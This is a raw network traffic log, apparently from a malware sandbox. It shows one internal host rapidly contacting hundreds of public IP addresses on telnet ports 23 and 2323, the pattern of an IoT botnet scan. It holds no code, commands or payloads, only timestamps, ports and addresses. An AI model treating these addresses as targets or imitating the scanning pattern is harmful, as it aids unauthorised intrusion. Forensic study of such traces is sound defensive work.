Nov 3, 2024 15:33:03.900484085 CET	4833	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:03.900511026 CET	4833	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:03.900540113 CET	4833	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:03.900544882 CET	4833	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:03.900547981 CET	4833	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:03.900558949 CET	4833	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:03.900578976 CET	4833	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:03.900605917 CET	4833	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:03.900615931 CET	4833	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:03.900615931 CET	4833	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:03.900619984 CET	4833	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:03.900660038 CET	4833	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:03.900661945 CET	4833	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:03.900685072 CET	4833	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:03.900727987 CET	4833	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:03.900729895 CET	4833	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:03.900729895 CET	4833	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:03.900748014 CET	4833	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:03.901000977 CET	4833	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:03.901025057 CET	4833	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:03.901027918 CET	4833	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:03.901056051 CET	4833	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:03.901067019 CET	4833	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:03.901072025 CET	4833	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:03.901083946 CET	4833	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:03.901104927 CET	4833	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:03.901113987 CET	4833	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:03.901125908 CET	4833	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:03.901132107 CET	4833	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:03.901138067 CET	4833	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:03.901144028 CET	4833	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:03.901149035 CET	4833	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:03.901149988 CET	4833	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:03.901153088 CET	4833	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:03.901163101 CET	4833	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:03.901173115 CET	4833	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:03.901177883 CET	4833	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:03.901189089 CET	4833	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:03.901189089 CET	4833	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:03.901192904 CET	4833	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:03.901192904 CET	4833	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:03.901199102 CET	4833	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:03.901205063 CET	4833	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:03.901211977 CET	4833	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:03.901226997 CET	4833	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:03.901226997 CET	4833	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:03.901233912 CET	4833	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:03.901278973 CET	4833	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:03.901305914 CET	4833	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:03.901305914 CET	4833	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:03.901313066 CET	4833	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:03.901324034 CET	4833	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:03.901328087 CET	4833	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:03.901349068 CET	4833	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:03.901351929 CET	4833	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:03.901359081 CET	4833	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:03.901374102 CET	4833	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:03.901374102 CET	4833	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:03.901382923 CET	4833	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:03.901412010 CET	4833	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:03.901421070 CET	4833	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:03.901422977 CET	4833	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:03.901431084 CET	4833	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:03.901443958 CET	4833	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:03.901444912 CET	4833	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:03.901453972 CET	4833	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:03.901468039 CET	4833	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:03.901485920 CET	4833	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:03.901501894 CET	4833	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:03.901514053 CET	4833	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:03.901518106 CET	4833	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:03.901532888 CET	4833	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:03.901571989 CET	4833	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:03.901585102 CET	4833	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:03.901585102 CET	4833	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:03.901596069 CET	4833	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:03.901599884 CET	4833	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:03.901611090 CET	4833	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:03.901612997 CET	4833	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:03.901627064 CET	4833	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:03.901628971 CET	4833	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:03.901633978 CET	4833	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:03.901643038 CET	4833	23	192.168.2.14	61.249.130.155
Nov 3, 2024 15:33:03.901655912 CET	4833	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:03.901655912 CET	4833	23	192.168.2.14	133.16.228.85
Nov 3, 2024 15:33:03.901660919 CET	4833	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:03.901684999 CET	4833	23	192.168.2.14	120.177.102.56
Nov 3, 2024 15:33:03.901686907 CET	4833	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:03.901695967 CET	4833	2323	192.168.2.14	27.214.85.5
Nov 3, 2024 15:33:03.901704073 CET	4833	23	192.168.2.14	182.72.169.201
Nov 3, 2024 15:33:03.901709080 CET	4833	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:03.901721954 CET	4833	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:03.901741028 CET	4833	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:03.901760101 CET	4833	23	192.168.2.14	46.243.236.106
Nov 3, 2024 15:33:03.901761055 CET	4833	23	192.168.2.14	20.246.13.46
Nov 3, 2024 15:33:03.901762962 CET	4833	23	192.168.2.14	19.77.22.181
Nov 3, 2024 15:33:03.901763916 CET	4833	23	192.168.2.14	195.192.70.208
Nov 3, 2024 15:33:03.901793957 CET	4833	23	192.168.2.14	207.95.101.216
Nov 3, 2024 15:33:03.901797056 CET	4833	2323	192.168.2.14	44.20.145.126
Nov 3, 2024 15:33:03.901799917 CET	4833	23	192.168.2.14	116.207.27.172
Nov 3, 2024 15:33:03.901812077 CET	4833	23	192.168.2.14	121.234.143.102
Nov 3, 2024 15:33:03.901814938 CET	4833	23	192.168.2.14	119.164.224.217
Nov 3, 2024 15:33:03.901837111 CET	4833	23	192.168.2.14	198.225.115.255
Nov 3, 2024 15:33:03.901839018 CET	4833	23	192.168.2.14	86.21.80.29
Nov 3, 2024 15:33:03.901839018 CET	4833	23	192.168.2.14	213.113.118.201
Nov 3, 2024 15:33:03.901854038 CET	4833	23	192.168.2.14	118.95.248.76
Nov 3, 2024 15:33:03.901855946 CET	4833	23	192.168.2.14	27.59.131.193
Nov 3, 2024 15:33:03.901855946 CET	4833	23	192.168.2.14	103.85.147.235
Nov 3, 2024 15:33:03.901859045 CET	4833	2323	192.168.2.14	76.164.84.170
Nov 3, 2024 15:33:03.901869059 CET	4833	23	192.168.2.14	172.167.107.127
Nov 3, 2024 15:33:03.901880026 CET	4833	23	192.168.2.14	206.131.19.213
Nov 3, 2024 15:33:03.901884079 CET	4833	23	192.168.2.14	191.77.174.151
Nov 3, 2024 15:33:03.901892900 CET	4833	23	192.168.2.14	183.120.2.184
Nov 3, 2024 15:33:03.901892900 CET	4833	23	192.168.2.14	218.231.179.0
Nov 3, 2024 15:33:03.901909113 CET	4833	23	192.168.2.14	172.217.220.1
Nov 3, 2024 15:33:03.901911020 CET	4833	23	192.168.2.14	86.93.235.202
Nov 3, 2024 15:33:03.901916027 CET	4833	23	192.168.2.14	113.19.29.151
Nov 3, 2024 15:33:03.901918888 CET	4833	23	192.168.2.14	66.176.135.157
Nov 3, 2024 15:33:03.901918888 CET	4833	2323	192.168.2.14	1.149.19.207
Nov 3, 2024 15:33:03.901937962 CET	4833	23	192.168.2.14	213.94.245.208
Nov 3, 2024 15:33:03.901937962 CET	4833	23	192.168.2.14	14.87.228.103
Nov 3, 2024 15:33:03.901941061 CET	4833	23	192.168.2.14	66.30.112.189
Nov 3, 2024 15:33:03.901943922 CET	4833	23	192.168.2.14	53.86.184.61
Nov 3, 2024 15:33:03.901966095 CET	4833	23	192.168.2.14	169.184.35.112
Nov 3, 2024 15:33:03.901968002 CET	4833	23	192.168.2.14	148.252.153.60
Nov 3, 2024 15:33:03.901974916 CET	4833	23	192.168.2.14	141.4.200.253
Nov 3, 2024 15:33:03.901999950 CET	4833	23	192.168.2.14	157.71.11.181
Nov 3, 2024 15:33:03.902004957 CET	4833	23	192.168.2.14	89.115.151.128
Nov 3, 2024 15:33:03.902283907 CET	4833	2323	192.168.2.14	27.81.211.2
Nov 3, 2024 15:33:03.902306080 CET	4833	23	192.168.2.14	121.65.2.238
Nov 3, 2024 15:33:03.902308941 CET	4833	23	192.168.2.14	45.73.149.128
Nov 3, 2024 15:33:03.902316093 CET	4833	23	192.168.2.14	97.145.245.236
Nov 3, 2024 15:33:03.902318001 CET	4833	23	192.168.2.14	75.236.167.188
Nov 3, 2024 15:33:03.902354002 CET	4833	23	192.168.2.14	178.197.224.113
Nov 3, 2024 15:33:03.902355909 CET	4833	23	192.168.2.14	81.39.82.33
Nov 3, 2024 15:33:03.902355909 CET	4833	23	192.168.2.14	207.72.54.133
Nov 3, 2024 15:33:03.902359009 CET	4833	23	192.168.2.14	43.51.217.145
Nov 3, 2024 15:33:03.902365923 CET	4833	23	192.168.2.14	92.16.14.38
Nov 3, 2024 15:33:03.904814005 CET	2323	4833	19.212.23.128	192.168.2.14
Nov 3, 2024 15:33:03.904839993 CET	23	4833	180.89.225.190	192.168.2.14
Nov 3, 2024 15:33:03.904860973 CET	23	4833	173.42.154.129	192.168.2.14
Nov 3, 2024 15:33:03.904864073 CET	4833	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:03.904903889 CET	4833	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:03.904903889 CET	4833	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:03.905092955 CET	23	4833	146.184.36.238	192.168.2.14
Nov 3, 2024 15:33:03.905103922 CET	23	4833	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:03.905112982 CET	23	4833	200.122.147.32	192.168.2.14
Nov 3, 2024 15:33:03.905139923 CET	4833	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:03.905148029 CET	4833	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:03.905148029 CET	4833	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:03.905165911 CET	23	4833	77.222.124.20	192.168.2.14
Nov 3, 2024 15:33:03.905177116 CET	23	4833	104.59.145.38	192.168.2.14
Nov 3, 2024 15:33:03.905188084 CET	23	4833	174.169.170.73	192.168.2.14
Nov 3, 2024 15:33:03.905199051 CET	23	4833	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:03.905210018 CET	2323	4833	67.206.244.155	192.168.2.14
Nov 3, 2024 15:33:03.905240059 CET	4833	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:03.905242920 CET	4833	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:03.905242920 CET	4833	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:03.905244112 CET	4833	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:03.905244112 CET	4833	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:03.905402899 CET	23	4833	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:03.905415058 CET	23	4833	209.129.129.97	192.168.2.14
Nov 3, 2024 15:33:03.905424118 CET	23	4833	95.7.203.251	192.168.2.14
Nov 3, 2024 15:33:03.905435085 CET	23	4833	212.140.253.155	192.168.2.14
Nov 3, 2024 15:33:03.905446053 CET	23	4833	98.111.58.225	192.168.2.14
Nov 3, 2024 15:33:03.905452013 CET	4833	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:03.905452967 CET	4833	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:03.905452013 CET	4833	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:03.905455112 CET	23	4833	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:03.905466080 CET	23	4833	36.181.35.174	192.168.2.14
Nov 3, 2024 15:33:03.905476093 CET	23	4833	65.161.59.74	192.168.2.14
Nov 3, 2024 15:33:03.905478954 CET	4833	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:03.905481100 CET	4833	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:03.905488968 CET	23	4833	211.210.255.138	192.168.2.14
Nov 3, 2024 15:33:03.905498028 CET	2323	4833	152.183.125.215	192.168.2.14
Nov 3, 2024 15:33:03.905500889 CET	4833	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:03.905502081 CET	4833	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:03.905502081 CET	4833	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:03.905508995 CET	23	4833	174.11.30.87	192.168.2.14
Nov 3, 2024 15:33:03.905520916 CET	23	4833	104.120.197.44	192.168.2.14
Nov 3, 2024 15:33:03.905567884 CET	23	4833	35.78.69.180	192.168.2.14
Nov 3, 2024 15:33:03.905579090 CET	23	4833	198.175.87.210	192.168.2.14
Nov 3, 2024 15:33:03.905581951 CET	4833	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:03.905582905 CET	4833	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:03.905581951 CET	4833	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:03.905589104 CET	23	4833	220.94.249.244	192.168.2.14
Nov 3, 2024 15:33:03.905600071 CET	23	4833	124.151.144.57	192.168.2.14
Nov 3, 2024 15:33:03.905608892 CET	23	4833	124.217.5.131	192.168.2.14
Nov 3, 2024 15:33:03.905612946 CET	4833	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:03.905615091 CET	4833	23	192.168.2.14	35.78.69.180
Nov 3, 2024 15:33:03.905621052 CET	23	4833	12.80.90.209	192.168.2.14
Nov 3, 2024 15:33:03.905625105 CET	4833	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:03.905631065 CET	2323	4833	209.9.141.12	192.168.2.14
Nov 3, 2024 15:33:03.905642033 CET	23	4833	99.99.197.97	192.168.2.14
Nov 3, 2024 15:33:03.905651093 CET	4833	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:03.905652046 CET	4833	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:03.905652046 CET	4833	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:03.905661106 CET	4833	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:03.905668974 CET	4833	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:03.905683041 CET	4833	23	192.168.2.14	99.99.197.97
Nov 3, 2024 15:33:03.905728102 CET	23	4833	76.244.142.178	192.168.2.14
Nov 3, 2024 15:33:03.905740023 CET	23	4833	208.146.14.98	192.168.2.14
Nov 3, 2024 15:33:03.905749083 CET	23	4833	153.84.54.160	192.168.2.14
Nov 3, 2024 15:33:03.905759096 CET	23	4833	4.190.209.79	192.168.2.14
Nov 3, 2024 15:33:03.905769110 CET	4833	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:03.905771017 CET	4833	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:03.905774117 CET	4833	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:03.905786991 CET	23	4833	148.109.114.29	192.168.2.14
Nov 3, 2024 15:33:03.905792952 CET	4833	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:03.905798912 CET	23	4833	107.237.69.15	192.168.2.14
Nov 3, 2024 15:33:03.905822039 CET	23	4833	95.34.63.61	192.168.2.14
Nov 3, 2024 15:33:03.905832052 CET	4833	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:03.905837059 CET	23	4833	125.6.47.19	192.168.2.14
Nov 3, 2024 15:33:03.905836105 CET	4833	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:03.905855894 CET	23	4833	149.198.132.209	192.168.2.14
Nov 3, 2024 15:33:03.905878067 CET	4833	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:03.905878067 CET	4833	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:03.905900002 CET	4833	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:03.906039953 CET	2323	4833	164.104.163.42	192.168.2.14
Nov 3, 2024 15:33:03.906053066 CET	23	4833	168.146.104.161	192.168.2.14
Nov 3, 2024 15:33:03.906063080 CET	23	4833	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:03.906080961 CET	4833	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:03.906083107 CET	4833	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:03.906091928 CET	4833	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:03.906095028 CET	23	4833	210.46.140.34	192.168.2.14
Nov 3, 2024 15:33:03.906105995 CET	23	4833	2.208.17.18	192.168.2.14
Nov 3, 2024 15:33:03.906125069 CET	23	4833	58.242.158.172	192.168.2.14
Nov 3, 2024 15:33:03.906135082 CET	23	4833	36.203.78.30	192.168.2.14
Nov 3, 2024 15:33:03.906136990 CET	4833	23	192.168.2.14	2.208.17.18
Nov 3, 2024 15:33:03.906143904 CET	23	4833	66.67.58.9	192.168.2.14
Nov 3, 2024 15:33:03.906143904 CET	4833	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:03.906156063 CET	23	4833	79.182.16.153	192.168.2.14
Nov 3, 2024 15:33:03.906172037 CET	4833	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:03.906172037 CET	23	4833	72.37.180.64	192.168.2.14
Nov 3, 2024 15:33:03.906173944 CET	4833	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:03.906183958 CET	2323	4833	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:03.906191111 CET	4833	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:03.906194925 CET	23	4833	66.43.145.95	192.168.2.14
Nov 3, 2024 15:33:03.906200886 CET	23	4833	18.89.87.117	192.168.2.14
Nov 3, 2024 15:33:03.906209946 CET	23	4833	68.78.197.131	192.168.2.14
Nov 3, 2024 15:33:03.906220913 CET	23	4833	58.236.76.205	192.168.2.14
Nov 3, 2024 15:33:03.906232119 CET	23	4833	194.229.95.42	192.168.2.14
Nov 3, 2024 15:33:03.906241894 CET	4833	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:03.906243086 CET	23	4833	93.197.117.16	192.168.2.14
Nov 3, 2024 15:33:03.906248093 CET	4833	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:03.906254053 CET	23	4833	160.79.59.93	192.168.2.14
Nov 3, 2024 15:33:03.906256914 CET	4833	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:03.906265974 CET	4833	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:03.906271935 CET	4833	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:03.906280041 CET	4833	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:03.906286001 CET	4833	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:03.906286001 CET	4833	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:03.906295061 CET	4833	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:03.906295061 CET	4833	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:03.906404972 CET	23	4833	166.57.28.207	192.168.2.14
Nov 3, 2024 15:33:03.906500101 CET	4833	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:03.906572104 CET	23	4833	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:03.906594992 CET	23	4833	190.252.22.235	192.168.2.14
Nov 3, 2024 15:33:03.906605959 CET	2323	4833	202.107.75.62	192.168.2.14
Nov 3, 2024 15:33:03.906615019 CET	23	4833	96.86.209.177	192.168.2.14
Nov 3, 2024 15:33:03.906625986 CET	23	4833	201.102.51.122	192.168.2.14
Nov 3, 2024 15:33:03.906636953 CET	23	4833	93.178.4.158	192.168.2.14
Nov 3, 2024 15:33:03.906639099 CET	4833	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:03.906639099 CET	4833	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:03.906646967 CET	23	4833	202.71.47.74	192.168.2.14
Nov 3, 2024 15:33:03.906657934 CET	23	4833	223.146.144.78	192.168.2.14
Nov 3, 2024 15:33:03.906668901 CET	23	4833	203.226.190.38	192.168.2.14
Nov 3, 2024 15:33:03.906668901 CET	4833	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:03.906670094 CET	4833	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:03.906672001 CET	4833	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:03.906676054 CET	4833	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:03.906678915 CET	4833	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:03.906680107 CET	23	4833	221.51.229.78	192.168.2.14
Nov 3, 2024 15:33:03.906691074 CET	23	4833	202.167.120.231	192.168.2.14
Nov 3, 2024 15:33:03.906701088 CET	4833	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:03.906702995 CET	2323	4833	160.225.3.89	192.168.2.14
Nov 3, 2024 15:33:03.906712055 CET	4833	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:03.906712055 CET	4833	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:03.906713963 CET	23	4833	115.137.137.86	192.168.2.14
Nov 3, 2024 15:33:03.906724930 CET	23	4833	71.102.250.214	192.168.2.14
Nov 3, 2024 15:33:03.906735897 CET	23	4833	94.178.187.157	192.168.2.14
Nov 3, 2024 15:33:03.906739950 CET	4833	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:03.906740904 CET	4833	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:03.906744957 CET	23	4833	110.36.39.59	192.168.2.14
Nov 3, 2024 15:33:03.906755924 CET	23	4833	172.59.203.130	192.168.2.14
Nov 3, 2024 15:33:03.906766891 CET	23	4833	213.231.65.178	192.168.2.14
Nov 3, 2024 15:33:03.906786919 CET	23	4833	168.61.185.185	192.168.2.14
Nov 3, 2024 15:33:03.906799078 CET	23	4833	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:03.906807899 CET	23	4833	99.114.187.252	192.168.2.14
Nov 3, 2024 15:33:03.906807899 CET	4833	23	192.168.2.14	172.59.203.130
Nov 3, 2024 15:33:03.906810999 CET	4833	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:03.906811953 CET	4833	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:03.906811953 CET	4833	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:03.906811953 CET	4833	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:03.906816959 CET	4833	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:03.906817913 CET	2323	4833	154.119.121.135	192.168.2.14
Nov 3, 2024 15:33:03.906831026 CET	23	4833	208.192.45.44	192.168.2.14
Nov 3, 2024 15:33:03.906833887 CET	4833	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:03.906837940 CET	4833	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:03.906838894 CET	4833	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:03.906840086 CET	23	4833	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:03.906851053 CET	23	4833	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:03.906852961 CET	4833	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:03.906862020 CET	23	4833	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:03.906869888 CET	4833	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:03.906872988 CET	4833	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:03.906881094 CET	4833	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:03.906904936 CET	4833	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:03.906939030 CET	23	4833	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:03.906958103 CET	23	4833	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:03.906976938 CET	23	4833	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:03.906979084 CET	4833	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:03.906994104 CET	23	4833	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:03.906999111 CET	4833	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:03.907023907 CET	4833	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:03.907025099 CET	23	4833	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:03.907027006 CET	4833	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:03.907037020 CET	2323	4833	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:03.907058954 CET	23	4833	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:03.907072067 CET	4833	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:03.907072067 CET	4833	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:03.907088041 CET	23	4833	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:03.907100916 CET	23	4833	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:03.907107115 CET	4833	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:03.907109976 CET	23	4833	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:03.907119989 CET	23	4833	31.125.136.204	192.168.2.14
Nov 3, 2024 15:33:03.907130003 CET	23	4833	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:03.907135963 CET	4833	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:03.907140970 CET	4833	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:03.907145023 CET	23	4833	94.79.63.27	192.168.2.14
Nov 3, 2024 15:33:03.907155991 CET	23	4833	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:03.907166958 CET	23	4833	19.214.238.80	192.168.2.14
Nov 3, 2024 15:33:03.907176971 CET	2323	4833	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:03.907185078 CET	4833	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:03.907185078 CET	23	4833	174.221.250.49	192.168.2.14
Nov 3, 2024 15:33:03.907185078 CET	4833	23	192.168.2.14	94.79.63.27
Nov 3, 2024 15:33:03.907196045 CET	4833	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:03.907196045 CET	4833	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:03.907196045 CET	4833	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:03.907197952 CET	23	4833	144.82.75.132	192.168.2.14
